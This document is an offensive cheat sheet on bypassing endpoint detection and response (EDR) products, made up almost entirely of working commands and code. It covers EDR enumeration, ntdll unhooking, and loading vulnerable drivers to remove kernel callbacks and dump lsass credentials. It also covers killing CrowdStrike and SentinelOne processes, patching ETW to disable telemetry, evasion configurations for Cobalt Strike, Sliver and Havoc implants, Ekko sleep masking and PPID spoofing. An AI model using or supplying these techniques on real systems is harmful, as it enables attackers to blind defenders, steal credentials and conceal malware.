EDR Bypass Techniques

# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match 
  'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }

# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match 
  'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }

# Driver enumeration — shows kernel-level protection
fltMC.exe filters      # loaded minifilter drivers (needs elevation)
driverquery /v | findstr /i "crowd sentinel carbon defender"

# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe

# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)

// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\ntdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation

// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\ntdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\ntdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);

// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, 
  FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);

# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv

# EDRSandBlast needs an action verb before any switches:
#   audit | dump | cmd | credguard | firewall | load_unsigned_driver
# The dump action removes the EDR's kernel callbacks, disables ETW TI, then dumps the target process
EDRSandBlast.exe dump --usermode --kernelmode --process-name lsass.exe -o lsass.dmp

# Backstab — kill a protected EDR process via the Process Explorer driver
Backstab.exe -n CSFalconService.exe -k
Backstab.exe -n SentinelAgent.exe -k

# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sys

# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)

$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    (([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
    GetType('Win32')).GetModules()[0])

$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)

# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"

# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-process

// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";

// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";

// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
  --evasion --skip-symbols

// Havoc — sleep masking is configured per build in the profile (yaotl), not enabled by default.
// Sleep is in seconds; SleepMask 1 enables masking, SleepMaskTechnique 1 = Foliage, 2 = Ekko.
//   Demon { Sleep = 5  Jitter = 20
//           Implant { SleepMask = 1  SleepMaskTechnique = 2 }
//           Injection { Spawn64 = "C:\Windows\System32\Werfault.exe" } }

// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
//    a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
//    b. SystemFunction032(beacon_data, &key)  // RC4 encrypt
//    c. WaitForSingleObject(hEvent, sleep_ms)
//    d. SystemFunction032(beacon_data, &key)  // RC4 decrypt
//    e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);

// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process

// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);

SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
  GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
  PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
  FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
  &si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exe